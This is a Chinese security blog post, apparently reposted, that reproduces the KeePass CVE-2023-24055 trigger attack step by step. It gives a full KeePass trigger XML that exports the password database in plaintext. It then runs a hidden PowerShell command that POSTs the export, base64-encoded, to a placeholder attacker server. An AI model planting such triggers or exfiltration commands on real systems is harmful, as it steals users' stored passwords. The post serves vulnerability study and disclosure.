CVE-2023-24055 Keepass密码管理工具漏洞复现

admin 2023年2月15日00:10:55评论65 views字数 1613阅读5分22秒阅读模式
CVE-2023-24055 Keepass密码管理工具漏洞复现

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

关于KeePass

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

漏洞概述

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码

利用前提

对 KeePass 配置文件具有写入权限。

复现环境

KeePass:2.46
OS:Ubuntu 20.04 LTS x64
WEB:Apache2

触发器值的设定

触发器示例:

https://keepass.info/help/kb/trigger_examples.html

Name: name
Events: Saved database file | [Equals]
Conditions: <empty>
Actions: 

(1) Export active database
File/URL: c:UsersxxxAppDataLocalTempexploit.xml(会在对应的目录生成exploit.xml文件,里面存放着明文密码)
File/Fortmat: KeePass XML (2.x)

(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:UsersxxxAppDataLocalTempexploit.xml')))
Window style: Hidden

漏洞复现

打开KeePass 配置文件:KeePass.config.xml,并写入相应的触发器代码

CVE-2023-24055 Keepass密码管理工具漏洞复现

触发器参考代码如下:

<TriggerSystem>
			<Triggers>
				<Trigger>
					<Guid>UVa+fd1Qr0KAcynoacKFKw==</Guid>
					<Name>Trigger</Name>
					<Events>
						<Event>
							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
							<Parameters>
								<Parameter>0</Parameter>
								<Parameter />
							</Parameters>
						</Event>
					</Events>
					<Conditions />
					<Actions>
						<Action>
							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
							<Parameters>
								<Parameter>`C:UsersxxxAppDataLocalTempexploit.xml`</Parameter>
								<Parameter>KeePass XML (2.x)</Parameter>
								<Parameter />
								<Parameter />
							</Parameters>
						</Action>
						<Action>
							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
							<Parameters>
								<Parameter>PowerShell.exe</Parameter>
								<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://server_addr/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:UsersxxxAppDataLocalTempexploit.xml')))</Parameter>
								<Parameter>False</Parameter>
								<Parameter>1</Parameter>
								<Parameter />
							</Parameters>
						</Action>
					</Actions>
				</Trigger>
			</Triggers>
		</TriggerSystem>

在服务器启动web服务,并使用tcpdump抓包(可以根据个人喜好获取数据包,生成的exploit.xml也是保存有明文密码的)。

CVE-2023-24055 Keepass密码管理工具漏洞复现

打开KeePass,生成一个密码并保存。

CVE-2023-24055 Keepass密码管理工具漏洞复现

将服务器抓取到的数据包打开,可以获得带有base64加密密文的数据包。

CVE-2023-24055 Keepass密码管理工具漏洞复现

将数据包解密,就能得到KeePass保存的密码。

CVE-2023-24055 Keepass密码管理工具漏洞复现

本地测试添加触发器

本地测试是可以直接在KeePass添加触发器,值的设定参考前面的内容,测试更方便。

CVE-2023-24055 Keepass密码管理工具漏洞复现

参考链接

https://github.com/alt3kx/CVE-2023-24055_PoC
https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

CVE-2023-24055 Keepass密码管理工具漏洞复现

END

CVE-2023-24055 Keepass密码管理工具漏洞复现
CVE-2023-24055 Keepass密码管理工具漏洞复现
CVE-2023-24055 Keepass密码管理工具漏洞复现

长按识别二维码关注我们

原文始发于微信公众号(雷神众测):CVE-2023-24055 Keepass密码管理工具漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月15日00:10:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-24055 Keepass密码管理工具漏洞复现http://cn-sec.com/archives/1545065.html

发表评论

匿名网友 填写信息